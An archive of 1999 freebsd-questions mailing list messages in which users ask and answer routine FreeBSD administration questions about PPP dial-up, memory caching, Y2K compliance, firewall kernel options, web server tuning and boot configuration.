like further information.  Please would you give me a contact address and
telephone number.

Which versions of FreeBSD are Year 2000 compliant?  Would you send me
details of the tests that have been performed on FreeBSD and a test
certificate by fax and post, if available.

Helen Turner
Y2K Group
Demon Internet
Northway House
1379 High Road
Whetstone
London  N20 9LP
UK

tel:    0181 492 7032
fax:   0181 492 7010



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From owner-freebsd-questions  Fri Mar 26  5:23:42 1999
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Organisation: Radan Computational Ltd., Bath, UK.
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Date: Fri, 26 Mar 1999 13:21:55 +0000
From: Mark Ovens <marko@uk.radan.com>
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To: gwrx@sinanet.com
Cc: questions@freebsd.org
Subject: Re: About Modem.......help
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Ray,

Please Cc: your messages to -questions, that way other people may see
your ongoing problem and dive in to help.


Ray Lau wrote:
> 
> >Date: Wed, 24 Mar 1999 13:17:46 +0000
> >From: Mark Ovens <marko@uk.radan.com>
> >To: gwrx@sinanet.com
> >Subject: Re: About Modem.......help
> >Ray Lau wrote:
> >>
> >> hi
> >> i use smartlink modem5634ts,FreeBSD3.1
> >> when i ppp myisp
> >> freebsd will shutdown

Exactly what do you mean by "shutdown"? Hangs? crashes? reboots?


> >> this is my ppp.conf
> >> default:
> >> >  set device /dev/cuaa1
> >> >  set speed 115200
> >> >  set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" ATE1Q0 OK-AT-OK
> >> > \\dATDT\\T TIMEOUT 40 CONNECT"
> >> >
> >> > hinet:
> >> >  set openmode active
> >> >  set phone 4125678
> >> >  deny chap
> >>   disable chap
> >> >  accept pap
> >> >  set authname xxxx
> >> >  set authkey  xxxxxx
> >> >  ifaddr 0 0
> >
> >This line should be:
> >
> > set ifaddr 10.0.0.1/0 10.0.0.2/0 0.0.0.0 0.0.0.0
> >
> >
> >> >  dial
> >and remove this.
> >
> >> ========== /etc/ppp/ppp.linkup ======
> >> > hinet:
> >> >     delete ALL
> >> >     add 0 0 HISADDR
> >> > ==============================
> >> please help me
> >> thanx

You need to enable logging, ``set log .....'' in ppp.conf, and send
the output (/var/log/ppp.log).

-- 
      FreeBSD - The Power To Serve http://www.freebsd.org
      My Webpage http://www.users.globalnet.co.uk/~markov
_______________________________________________________________
Mark Ovens, CNC Apps Engineer, Radan Computational Ltd. Bath UK
CAD/CAM solutions for Sheetmetal Working Industry
mailto:marko@uk.radan.com                  http://www.radan.com


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From owner-freebsd-questions  Fri Mar 26  5:48:15 1999
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To: graeme@echidna.com
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Caching of large files in memory 
In-reply-to: Your message of "Fri, 26 Mar 1999 07:47:23 EST."
             <36FB81DB.10E5760B@echidna.com> 
From: David Greenman <dg@root.com>
Reply-To: dg@root.com
Date: Fri, 26 Mar 1999 05:46:42 -0800
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   What is probably happening is that there is not quite enough memory to
cache the whole file. Even if you're 1 page (4K) short, if you're reading the
entire file then the LRU replacement will reclaim the oldest read (first part)
of the file in order to cache the end of the file. When you go to read the
file again and the system wants to cache the first part of the file, then the
next chunk is reclaimed to cache it, ultimately resulting in it needing to
be re-read again. ...sort of like the system chasing it's tail but never
being able to catch it because there isn't enough memory to contain the whole
thing.
   The solution? Memory is cheap, so I'd buy more. :-)

-DG

David Greenman
Co-founder/Principal Architect, The FreeBSD Project

>I have a moderately busy web server (2.2.7S/Apache - a few hundred thousand hits
>a day). It has been running fine with 128MB of memory.
>
>Recently the memory was expanded to 256MB, and about the same time, we started
>running a task that scans a large file (about 112MB) on each execution. This
>task also requires reading two smaller files of 12 and 20MB. So that's a total
>of 144MB, but there's an extra 128MB available, and the system seemed to cache
>the smaller files OK with 128MB memory.
>
>At first, it was clear all the files were being cached in memory. In the first
>execution after an idle period, the files might be read from disk, but then no
>disk activity was evident on repeated executions.
>
>However, after the server had been running about a day, things shifted so that
>the large file is evidently being read more-or-less entire from disk every time.
>This is true even after repeated, frequent reads of the file. Since the time the
>server was rebooted, named has been building a cache from reverse name
>resolution (about 8MB now, it will grow bigger yet), but otherwise I'm not aware
>of any changes.
>
>Presently top shows
>
>Mem: 90M Active, 46M Inact, 26M Wired, 87M Cache, 8318K Buf, 784K Free
>
>
>I'm wondering if anything can be done to encourage caching of the large file.
>
>I'm also curious as to why the system seems to read the large file entire,
>rather than caching at least some major part of it.
>
>
>I do have the option of breaking the large file into smaller pieces, the largest
>of which would be about 12MB. I'm wondering if this was done, and all the pieces
>were accessed frequently, would the system then cache most or all of these files
>in memory?
>
>
>Alternatively, I'd be prepared to expand memory still further, but only if I
>could be sure it would result in the files being reliably cached.
>
>
>--
>Graeme Tait - Echidna
>graeme@echidna.com
>
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Fri Mar 26  5:51:39 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Gregory Lewis <glewis@dartagnan.maths.adelaide.edu.au>
Message-Id: <9903261351.AA15008@dartagnan.maths.adelaide.edu.au>
Subject: Re: O'reilly's Networking Bookshelf
In-Reply-To: <19990325232814.A13501@ethereal.net> from Jamie Norwood at "Mar 25, 99 11:28:14 pm"
To: mistwolf@ethereal.net (Jamie Norwood)
Date: Sat, 27 Mar 1999 00:21:00 +1030 (CST)
Cc: freebsd-questions@freebsd.org
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Hi Jamie,

> I recently picked up this fine set of books from O'reilly, and
> was wondering if anyone had gotten their little java program
> to run? I installed the JDK port, and then ran the 'runme.sh' script,
> and get:
> 
> 11:23pm Thu Mar 25 1999 on ttyp1                                                diarmadhi:/home/mistwolf/work> sh run_me.sh 
> Detecting OS_VER ... FreeBSD
> Can't find shared library "libX11.so.6.1" (libawt.so)

Do you have X installed?  
Do you have the aout compatibility versions of the X libraries installed
if you are running 3.1 or 3.0-ELF (the jdk is currently aout only, although 
this is likely to change very soon)?
Does ld.so know to look in the appropriate directories for these libraries?

> java.lang.UnsatisfiedLinkError: no awt in shared library path
>         at java.lang.Runtime.loadLibrary(Runtime.java)
>         at java.lang.System.loadLibrary(System.java)
>         at 
>         at java.awt.Toolkit.getDefaultToolkit(Toolkit.java:394)
>         at java.awt.Font.initializeFont(Font.java:106)
>         at java.awt.Font.<init>(Font.java:121)
>         at itm.nr.serve.$141.<init>(Unknown Source)
>         at itm.nr.serve.$160.<init>(Unknown Source)
>         at itm.nr.serve.NRServer.main(Unknown Source)
> Exception in thread "main"                                                      
If this doesn't get you going, try asking on java@freebsd.org.
-- 
Greg Lewis 				glewis@trc.adelaide.edu.au
Computing Officer			+61 8 8303 3237
Teletraffic Research Centre


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From owner-freebsd-questions  Fri Mar 26  6:47:28 1999
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Date: Fri, 26 Mar 1999 09:46:47 -0500 (EST)
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I was wondering if it's possible to get newsyslog to put the archived logs in
another directory? 

---

E-Mail: Luke <lh@aus.org>
Sent by XFMail
----------------------------------


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From owner-freebsd-questions  Fri Mar 26  6:51:31 1999
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Date: Fri, 26 Mar 1999 23:49:49 +0900
From: "Daniel C. Sobral" <dcs@newsguy.com>
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A friend of mine has the following problem: when trying a telnet to
a (certain?) remote host, FreeBSD takes almost three minutes, while
a NT from the same subnet takes less than thirty. If this problem
cannot be solved, there is a great chance of FreeBSD being dumped in
this place.

I suspect this can be solved just by tweaking the TCP/IP options in
the FreeBSD box, but since I have never personally experienced this
kind of problem, I don't recall what are the prime suspects here.

What are the knobs she should try tweaking? Also, what kind of
information she could collect to track this problem? I'll be asking
her to give me a tcpdump of both the FreeBSD and the NT box telnet
connection, but I'm not sure what else to ask for.

Thanks for any help,

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	"What kind of psychologist laughs at her patients?"
	"I don't laugh at all of them."


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From owner-freebsd-questions  Fri Mar 26  7:27: 3 1999
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From: hometeam <hometeam@techpower.net>
To: "Daniel C. Sobral" <dcs@newsguy.com>
Cc: questions@FreeBSD.ORG
Subject: Re: TCP/IP problem
In-Reply-To: <36FB9E8D.97455246@newsguy.com>
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Get info like the site she is connecting to sounds like a routing problem 
to me. When connecting to this site has she tryed the ip address in place
of the site name ? what is the freebsd setup? what subnet she running
how many ip's? she using natd ? ...Your question here seems really vague.

14400 modem is rather slow on the busy times of the day ...The internet
slows to a crawl sometimes...MS last week was slow with all the traffic
for the new ie5.

No offence but this is a very simple problem. You just telnet in and look
around ...If she can not supply you with the info of her system.
It sounds like she has came to you for help and trust you ...I am sure she
would not mind you taking a look around ?

Or bring the info here and I bet someone can help.
 



On Fri, 26 Mar 1999, Daniel C. Sobral wrote:

> A friend of mine has the following problem: when trying a telnet to
> a (certain?) remote host, FreeBSD takes almost three minutes, while
> a NT from the same subnet takes less than thirty. If this problem
> cannot be solved, there is a great chance of FreeBSD being dumped in
> this place.
> 
> I suspect this can be solved just by tweaking the TCP/IP options in
> the FreeBSD box, but since I have never personally experienced this
> kind of problem, I don't recall what are the prime suspects here.
> 
> What are the knobs she should try tweaking? Also, what kind of
> information she could collect to track this problem? I'll be asking
> her to give me a tcpdump of both the FreeBSD and the NT box telnet
> connection, but I'm not sure what else to ask for.
> 
> Thanks for any help,
> 
> --
> Daniel C. Sobral			(8-DCS)
> dcs@newsguy.com
> dcs@freebsd.org
> 
> 	"What kind of psychologist laughs at her patients?"
> 	"I don't laugh at all of them."
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 




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From owner-freebsd-questions  Fri Mar 26  7:32:35 1999
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To: tront@cs.sfu.ca
Cc: ari <ari@suutari.iki.fi>, jonc@pinnacle.co.nz,
	freebsd-questions@FreeBSD.ORG
Subject: Re: natd
References: <3.0.3.32.19990324124823.00a9b340@cs.sfu.ca> <3.0.3.32.19990325161143.00a12ea0@cs.sfu.ca>
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Hi Russ

> fall.net1.cs{root}:ls
> FALL            LINT            PCCARD          files.i386      options.i386
> GENERIC         Makefile.i386   devices.i386    majors.i386
> 
> fall.net1.cs{root}:fgrep IPFIRTEWALL FALL
> options         IPFIREWALL
> options         IPFIREWALL_VERBOSE
> 
> fall.net1.cs{root}:fgrep IPDIVERT FALL
> options         IPDIVERT        $ Divert sockets
> 

I' ve just had the same problem on a 192.168.x.x pair of networks
but when I added 
options         IPFIREWALL_FORWARD      #enable transparent proxy 

options         "IPFIREWALL_VERBOSE_LIMIT=100" #limit verbosity
options         IPFIREWALL_DEFAULT_TO_ACCEPT #allow everything by 
options         IPFILTER                #kernel ipfilter support
options         IPFILTER_LOG            #ipfilter logging

I could get out again 


Ooops, just noticed that I did default to accept I'm recompiling
without it but I figure it is the IPFIREWALL_FORWARD option that
did it.

Yep still get out 

regards 
Kit
barking


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From owner-freebsd-questions  Fri Mar 26  7:32:55 1999
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Date: Fri, 26 Mar 1999 09:31:52 -0600
From: Nathan Ahlstrom <nrahlstr@winternet.com>
To: Helen Turner <helent@demon.net>, freebsd-questions@FreeBSD.ORG
Subject: Re: Year 2000 compliancy
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Greetings Helen,

Helen Turner <helent@demon.net> wrote:
> I have seen your Year 200 compliancy statement on the internet and would
> like further information.  Please would you give me a contact address and
> telephone number.

There really is no official contact address/phone number.  If you 
_really_ need this sort of thing, please look at the support options on 
http://www.freebsdmall.com/

Otherwise the next best thing (maybe better ;-) is the support which you 
will recieve from this mailing list.

> Which versions of FreeBSD are Year 2000 compliant?  Would you send me
> details of the tests that have been performed on FreeBSD and a test
> certificate by fax and post, if available.

All _known_ Y2K problems have been fixed in 2.2-STABLE, 3.1-STABLE, and the
4.0-CURRENT branch.  3.1-RELEASE (possibly 3.0 too?) is the only release 
which will have all of these fixes in it.

You can look at some prelimiary results of the FreeBSD Y2K audit at
http://www.freebsd.org/~danny/

Good Luck,

Nathan

-- 

Nathan Ahlstrom
nrahlstr@winternet.com
http://www.FreeBSD.org/


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From owner-freebsd-questions  Fri Mar 26  7:39:23 1999
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From: "Paul T. Root" <proot@iaces.com>
Message-Id: <199903261537.JAA10009@iaces.com>
Subject: Re: TCP/IP problem
In-Reply-To: <Pine.BSF.4.05.9903261011220.2950-100000@techpower.net> from hometeam at "Mar 26, 99 10:31:00 am"
To: hometeam@techpower.net (hometeam)
Date: Fri, 26 Mar 1999 09:37:35 -0600 (CST)
Cc: dcs@newsguy.com, questions@FreeBSD.ORG
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In a previous message, hometeam said:
> 

Sounds more like a reverse lookup dns problem or a timing out connection to the
dns server problem.


> Get info like the site she is connecting to sounds like a routing problem 
> to me. When connecting to this site has she tryed the ip address in place
> of the site name ? what is the freebsd setup? what subnet she running
> how many ip's? she using natd ? ...Your question here seems really vague.
> 
> 14400 modem is rather slow on the busy times of the day ...The internet
> slows to a crawl sometimes...MS last week was slow with all the traffic
> for the new ie5.
> 
> No offence but this is a very simple problem. You just telnet in and look
> around ...If she can not supply you with the info of her system.
> It sounds like she has came to you for help and trust you ...I am sure she
> would not mind you taking a look around ?
> 
> Or bring the info here and I bet someone can help.
>  
> 
> 
> 
> On Fri, 26 Mar 1999, Daniel C. Sobral wrote:
> 
> > A friend of mine has the following problem: when trying a telnet to
> > a (certain?) remote host, FreeBSD takes almost three minutes, while
> > a NT from the same subnet takes less than thirty. If this problem
> > cannot be solved, there is a great chance of FreeBSD being dumped in
> > this place.
> > 
> > I suspect this can be solved just by tweaking the TCP/IP options in
> > the FreeBSD box, but since I have never personally experienced this
> > kind of problem, I don't recall what are the prime suspects here.
> > 
> > What are the knobs she should try tweaking? Also, what kind of
> > information she could collect to track this problem? I'll be asking
> > her to give me a tcpdump of both the FreeBSD and the NT box telnet
> > connection, but I'm not sure what else to ask for.
> > 
> > Thanks for any help,
> > 
> > --
> > Daniel C. Sobral			(8-DCS)
> > dcs@newsguy.com
> > dcs@freebsd.org
> > 
> > 	"What kind of psychologist laughs at her patients?"
> > 	"I don't laugh at all of them."
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


-- 
"The governments of proper countries are usually on holidays
 on weekends."

--Soviet spokesman Eugene Pozdnayakov, stretching to explain why his
  government delayed reporting the Chernobyl nuclear power plant
  disaster to the rest of the world in April, 1986.


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From owner-freebsd-questions  Fri Mar 26  7:54:55 1999
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Date: Fri, 26 Mar 1999 10:58:51 -0500 (EST)
From: hometeam <hometeam@techpower.net>
To: "Paul T. Root" <proot@iaces.com>
Cc: dcs@newsguy.com, questions@FreeBSD.ORG
Subject: Re: TCP/IP problem
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Yeah that why I suggested connecting with the ip address of the site. 

On Fri, 26 Mar 1999, Paul T. Root wrote:

> In a previous message, hometeam said:
> > 
> 
> Sounds more like a reverse lookup dns problem or a timing out connection to the
> dns server problem.
> 
> 
> > Get info like the site she is connecting to sounds like a routing problem 
> > to me. When connecting to this site has she tryed the ip address in place
> > of the site name ? what is the freebsd setup? what subnet she running
> > how many ip's? she using natd ? ...Your question here seems really vague.
> > 
> > 14400 modem is rather slow on the busy times of the day ...The internet
> > slows to a crawl sometimes...MS last week was slow with all the traffic
> > for the new ie5.
> > 
> > No offence but this is a very simple problem. You just telnet in and look
> > around ...If she can not supply you with the info of her system.
> > It sounds like she has came to you for help and trust you ...I am sure she
> > would not mind you taking a look around ?
> > 
> > Or bring the info here and I bet someone can help.
> >  
> > 
> > 
> > 
> > On Fri, 26 Mar 1999, Daniel C. Sobral wrote:
> > 
> > > A friend of mine has the following problem: when trying a telnet to
> > > a (certain?) remote host, FreeBSD takes almost three minutes, while
> > > a NT from the same subnet takes less than thirty. If this problem
> > > cannot be solved, there is a great chance of FreeBSD being dumped in
> > > this place.
> > > 
> > > I suspect this can be solved just by tweaking the TCP/IP options in
> > > the FreeBSD box, but since I have never personally experienced this
> > > kind of problem, I don't recall what are the prime suspects here.
> > > 
> > > What are the knobs she should try tweaking? Also, what kind of
> > > information she could collect to track this problem? I'll be asking
> > > her to give me a tcpdump of both the FreeBSD and the NT box telnet
> > > connection, but I'm not sure what else to ask for.
> > > 
> > > Thanks for any help,
> > > 
> > > --
> > > Daniel C. Sobral			(8-DCS)
> > > dcs@newsguy.com
> > > dcs@freebsd.org
> > > 
> > > 	"What kind of psychologist laughs at her patients?"
> > > 	"I don't laugh at all of them."
> > > 
> > > 
> > > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > > with "unsubscribe freebsd-questions" in the body of the message
> > > 
> > 
> > 
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body of the message
> > 
> 
> 
> -- 
> "The governments of proper countries are usually on holidays
>  on weekends."
> 
> --Soviet spokesman Eugene Pozdnayakov, stretching to explain why his
>   government delayed reporting the Chernobyl nuclear power plant
>   disaster to the rest of the world in April, 1986.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Fri Mar 26  7:57:56 1999
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From: "Graham Harris" <graham@itplc.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Hardware supported
Date: Fri, 26 Mar 1999 15:57:17 -0000
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1.What hardware is supported, more specifically what printers, eg are =
Unix drivers for Epson printers available?

2.What is the differences (if any) between freeBSD and Linux?

Regards

Graham Harris

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eg are Unix drivers for Epson printers available?</FONT></DIV>
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Linux?</FONT></DIV>
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<DIV><FONT size=3D2>Regards</FONT></DIV>
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From owner-freebsd-questions  Fri Mar 26  7:59:53 1999
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From: Steven Harris <steve@freebsdrocks.com>
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To: freebsd-questions@FreeBSD.ORG, freebsd-mobile@FreeBSD.ORG
Subject: Help needed with PCMCIA 3CCFEM556B card
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Hi,

I have recently purchased a toshiba taptop and a 3COM Megahertz 3CCFEM556B
modem/network card and am having no luck getting it working.

I was wondering if anyone has had any luck with this setup?

With the PCCARD configuration, I can get to the stage where it will detect
sio2, but when i try to 'cu -l /dev/cuaa2' it hangs the PC.

It says it finds the controller on int 3 and 5, but from what I have
researched this may not necessarily be true.

When it starts up it says:

PC-Card Intel 82365 (5 mem & 2 I/O windows)
pcic: controller irq 3
Initializing PC-card drivers: sio
Card inserted, slot 0
PC-Card Intel 82365 (5 mem & 2 I/O windows)
pcic: controller irq 5
Card inserted: slot 2

Any help would be GREATLY appreciated!

Thanks,

Steve Harris
FreeBSDRocks!




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From owner-freebsd-questions  Fri Mar 26  8:15:57 1999
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Date: Fri, 26 Mar 1999 08:17:42 -0800
From: David Knapp <dknapp@luciamar.k12.ca.us>
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To: "freebsd-questions@FreeBSD.ORG" <freebsd-questions@FreeBSD.ORG>
Subject: kernel.GENERIC - "invalid format" installing 3.1-Release from 2.2.6 
 floppy
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Are the Boot Floppy images specific to each version?  I have 2.2.6 on
cd, and am trying to upgrade to 3.1 release.  I ftpd everything under
the 3.1-release directory to my win95 machine.  I tried to perform the
upgrade and it failed because I missed some files in /bin (oops!).  I
also figured out that I didn't have anything important running, and I
wanted a larger /usr, so I rebooted with the 2.2.6 boot floppy, wiped
out my slices and tried to perform the ftp install. 

Everything went fine until I rebooted.  I can list the files in the
root directory, but when I try to run kernel.GENERIC, it gives me a
message that says invalid format.  I made the change in options to
download 3.1-RELEASE.  I have Greg's Book, so if there is a page there
that I overlooked (or totally misunderstood), I would appreciate
someone pointing it out.

As an aside, I really like the custom installation -as opposed to
novice installation - The steps seemed more clear than in the novice
installation.  Of course, that may be part of my problem....

tia

dbk

-- 
David Knapp			   805 473-4353
PC Network Specialist		   dknapp@luciamar.k12.ca.us
LMUSD                              FreeBSD Newbie


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From owner-freebsd-questions  Fri Mar 26  8:18: 9 1999
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Date: Fri, 26 Mar 1999 08:19:26 -0800
From: dan@wolf.com
To: Steve Price <sprice@hiwaay.net>, freebsd-isp@FreeBSD.ORG
Cc: hamellr@dsinw.com, freebsd-questions@FreeBSD.ORG
Subject: Re: Need help fine-tuning a web server (fwd)
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> I want to run a webserver that's going to probably be serving about 400
> requests simultaneously on average, but it may spike up to 900 at times.
> Bandwidth-wise, it'll be moving about 600+k/sec on a PII-450 w/384 megs
> RAM. There'll be a lot of CGI involved, as well as a MySQL database that's
> being used for authentication as well as keeping track of a bunch of user
> accounting data. I tried FreeBSD initially, but it didn't last 10 minutes
> before coming down.

I'll offer some advice based upon my experiences, but I've got 
to point out that I'm *not* veryu familiar with the kernel 
internals, so some of my advice might be a bit off.  If so, 
I'm sure folks with more experience will correct my (be gentle,
please!).

Your config is a little light in RAM.  I run a web server that 
averages about 250 connections, but peaks at a little over 400.
I've got 256 MB RAM and have 256 MB swap configured.  When I'm
running 250 connections, I've usually got 20 - 50 MB of swap in
use (and that's a very bad thing for a web server).  To support
400 connections, I'd strongly recommend going to 512 MB RAM. 
And be aware that when your load hits those 900 connection peaks,
you are going to be heavily into your swap space (which implies
that you need to configure *plenty* of swap).

> I searched on the web and checked links from the FreeBSD homepage, as well
> as a couple other FreeBSD related pages that I found, but found no
> information on tuning FreeBSD machines.  The HOWTOs for FreeBSD are
> minimal.  There aren't many users out there with easily accessible
> information on what they've done to make it work.
> 
> What do I need to do to make it work? Increase the number of tasks?  Can I
> just use ulimit, or do I need to change stuff in the kernel?  I noticed
> some stuff in there limiting the per-user tasks to 64, but that didn't
> look reasonable, and it looked like it got ignored anyway, so I don't know
> what bearing that had on the system.  How can I increase the maximum
> number of file descriptors/inodes?  Are there any changes I should make to
> the memory management stuff, and if so where and how?  What else needs to
> be done to a FreeBSD machine to allow it to handle heavy load?

The Apache pages at http://www.apache.org have some good useful info
on tuning Apache.  A search of the archives at http://www.freebsd.org
will reveal a little bit of info on performance tuning, but not a
lot.  What I've done is compile a kernel with maxusers set to 64, and 
including "options CHILD_MAX=256" and "options OPEN_MAX=256" (this 
mihgt be somewhat misguided, but that's how I learn - by experimenting 
and shooting myself in the foot).

I've modified /etc/login.conf to create a login class called
"www".  I've added "nobody" to this class.  The characteristics
I've defined for this class are:
   datasize-cur=128M
   stacksize-cur=64M
   memoryuse=128M
   memoryuse-cur=128M
   filesize=infinity
   maxproc=4096
   maxproc-cur=2048
   openfiles=4096
   openfiles-cur=2048

Dan Mahoney
dan@wolf.com



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From owner-freebsd-questions  Fri Mar 26  8:18:12 1999
Delivered-To: freebsd-questions@freebsd.org
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To: freebsd@netsys.hn (FreeBSD Questions),
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Subject: Re: Use of ASCEND Freeware RADIUS server
References: <199903260203.UAA22850@mail.netsys.hn>
From: Lowell Gilbert <lowell@world.std.com>
Date: 26 Mar 1999 11:14:23 -0500
In-Reply-To: freebsd@netsys.hn's message of 26 Mar 1999 03:08:14 +0100
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freebsd@netsys.hn (FreeBSD Questions) writes:

> > Does someone know how to launch it automatically via an initialization
> script
> > or another mechanism at system boot ?
> 
> Sure, create the /etc/rc.local file and put this in:
> 
> if [ -f /etc/defaults/rc.conf ]; then
>         . /etc/defaults/rc.conf
> fi
> /usr/local/sbin/radiusd

Actually, just put in the last line.  /etc/defaults/rc.conf already
loads /etc/rc.conf.local, if it exists.  I'm not sure offhand if this
has always been the case (in the short life of /etc/defaults), but it
is the case in both -STABLE and -CURRENT at the moment.  You don't
want to create infinite loops in your startup scripts.

Be well.
        Lowell


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From owner-freebsd-questions  Fri Mar 26  8:37:51 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 11:36:48 -0500
To: freebsd-questions@freebsd.org
From: The Classiest Man Alive <ksmm@threespace.com>
Subject: Windows vs. FreeBSD: Changing Times
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This happens to me every year.  This year I figured I'd ask the experts
(that means YOU) if there was a simple solution to this problem.

Daylight Savings Time in the US begins next Sunday, April 4th.  As you may
remember this means setting every clock, watch, and VCR in your home
forward by one hour at 2:00 AM on that day.  Depending on how many clocks
you have, it's tedious, but not exactly strenuous.

That is, unless you have a computer that can dual boot between Windows and
FreeBSD.  For those of you who don't know, Windows will automatically
change your CMOS clock to reflect the correct time after the time change.
Or you can do it manually.  Either way, that clock needs to be set to the
correct local time in order for the Windows system time to be reflected
correctly.

Unfortunately, FreeBSD seems to do an intelligent translation that
automatically adds one hour to the CMOS time during the Daylight Time
period.  This is all good, except that when Windows sets the clock ahead
one hour and then FreeBSD adds one hour in software...well, you see where
this is going.  Somebody (Windows or FreeBSD) is going to have the wrong time.

Is there a simple way around this problem?  Can I tell FreeBSD that even
though we're in Daylight Time that it should take the CMOS clock as the
current local time?

Thanks again,
K.S.


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From owner-freebsd-questions  Fri Mar 26  8:37:52 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 11:36:25 -0500
To: freebsd-questions@freebsd.org
From: The Classiest Man Alive <ksmm@threespace.com>
Subject: LRP vs. PicoBSD
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Got no reply to this on freebsd-small, so I figured I'd try here...
________________________________________________________

Is the Linux Router Project (http://www.linuxrouter.org) similar to PicoBSD
in terms of functionality?

Thanks,
K.S.




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From owner-freebsd-questions  Fri Mar 26  8:39:12 1999
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From: "Roger P. Johnson" <rpj@fep.hirshfields.com>
Message-Id: <199903261609.KAA14096@fep.hirshfields.com>
Subject: Help: TERM environment var not being set from /etc/ttys file ...
To: freebsd-questions@freebsd.org
Date: Fri, 26 Mar 1999 10:09:51 -0600 (CST)
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    I have FreeBSD 2.2.6, a Digiboard PC/16e serial board, and when I set the
terminal type in /etc/ttys (see below) for the ports, my TERM environment
variable is not set to what I specify in /etc/ttys. All I get is TERM=unknown.

    Is this broken. It works on my, well, SCO Xenix just fine.

   Thanks,
    Roger.



Here is an example:

    
<just logged in and now at the first system prompt. I print the
value of TERM from my .profile>


TERM=unknown        # from my .profile; 1st line executed as .profile starts up
hirsh@hot2$ tty
/dev/cuaD00
hirsh@hot2$ grep cuaD00 /etc/ttys
cuaD00	"/usr/libexec/getty std.19200"	wyse60 on secure
hirsh@hot2$ echo $TERM
unknown
hirsh@hot2$ uname -a
FreeBSD hot2.hirshfields.com 2.2.6-RELEASE FreeBSD 2.2.6-RELEASE #0: Tue Jan 26 10:23:59 CST 1999     roger@hot2.hirshfields.com:/usr/src/sys/compile/HOT2  i386


Here is my .profile:



#	$Id: dot.profile,v 1.2.4.1 1996/06/23 20:35:22 wosch Exp $
#
echo "TERM=$TERM"

umask 0007	# -rw-rw---- && drwxrwx---
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin:/u/hirsh/bin:/u/hirsh/comm/bin:/u/hirsh/comm/fep/bin:~/bin; export PATH

EDITOR=/usr/bin/vi; export EDITOR

# system term type
#TERM=cons25; export TERM

set prompt: ``username@hostname$ '' 
PS1="`whoami`@`hostname | sed 's/\..*//'`"
case `id -u` in
	0) PS1="${PS1}# ";;
 	*) PS1="${PS1}$ ";;
esac


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From owner-freebsd-questions  Fri Mar 26  8:46: 4 1999
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Date: Fri, 26 Mar 1999 11:45:29 -0500
From: Bruce Grisham <bruce@accumatics.com>
Organization: The AccuMatics Group
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Subject: In 3.1, can't seem to save device list after boot -cv
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After configuring devices I ask to save, but at next boot all devices are
probed.

What am I missing?

Thanks in advance,

Bruce Grisham
The AccuMatics Group
http://www.accumatics.com/



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From owner-freebsd-questions  Fri Mar 26  8:52:12 1999
Delivered-To: freebsd-questions@freebsd.org
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From: Charles Randall <crandall@matchlogic.com>
To: freebsd-questions@FreeBSD.ORG
Cc: bruce@accumatics.com
Subject: RE: In 3.1, can't seem to save device list after boot -cv
Date: Fri, 26 Mar 1999 09:51:37 -0700
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See the ERRATA.TXT file,

ftp://ftp.freebsd.org/pub/FreeBSD/3.1-RELEASE/ERRATA.TXT

--- snip ---
o  Kernel change information is not saved in the new kernel, even
   though this is claimed to work in the docs.

Fix: The change information is being written out, in fact, but to the
     wrong location.  move /kernel.config to /boot/kernel.conf (if it
     exists, otherwise there were no changes to save) and add the
     following lines to /boot/loader.rc:

        load /kernel
        load -t userconfig_script /boot/kernel.conf
        autoboot 5

     This will cause the kernel change information to be read in and
     used properly (and you just learned a little about the new 3-stage
     loader in the process, so the exercise wasn't a total loss).
--- snip ---

Charles


-----Original Message-----
From: Bruce Grisham [mailto:bruce@accumatics.com]
Sent: Friday, March 26, 1999 9:45 AM
To: freebsd-questions@FreeBSD.ORG
Subject: In 3.1, can't seem to save device list after boot -cv


After configuring devices I ask to save, but at next boot all devices are
probed.

What am I missing?

Thanks in advance,

Bruce Grisham
The AccuMatics Group
http://www.accumatics.com/



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From owner-freebsd-questions  Fri Mar 26  9: 9:41 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Fri, 26 Mar 1999 12:04:44 -0500
From: gkaplan <gkaplan@castle.net>
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MIME-Version: 1.0
To: Brian Somers <brian@Awfulhak.org>
Cc: "questions@FreeBSD.ORG" <questions@FreeBSD.ORG>
Subject: Re: isp serial connection
References: <199903252343.XAA02414@keep.lan.Awfulhak.org>
Content-Type: multipart/mixed; boundary="------------7D4E678467B48379B32AA001"
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This is a multi-part message in MIME format.
--------------7D4E678467B48379B32AA001
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

as root :
# ppp <cr>
ppp ON myname> term <cr>
atdt4084422 <cr>
<raw result is in the ppp.log - attached >
...ppp ON myname> q <cr>

Brian Somers wrote:

> > Based on the evidence that I see, i.e., the response to command input to ppp, I
> > think that it is possible that userppp is not automatically switching to packet
> > mode.
> > I have a minimal default: segment in  ''ppp.conf'' after entering the command
> > ''term'' I atdt dial , then manually enter user name and password. After which I
> > receive a string of garbage. The response time after sending the password doesn't
> > seem to be sufficient for me to enter ''~p'' .  How can I eliminate the possibility
> > of a failure to switch to ppp packet mode on my out of the box (4 cd set) 2.2.8? |-(
> > ,,,
>
> Can you enable async logging and send me a copy of the initial data
> that should be recognised by ppp ?
>
> Ppp currently recognises the following sequences (from hdlc.c):
>
>   "\176\377\003\300\041",
>   "\176\377\175\043\300\041",
>   "\176\177\175\043\100\041",
>   "\176\175\337\175\043\300\041",
>   "\176\175\137\175\043\100\041",
>
> Cheers.
>
> --
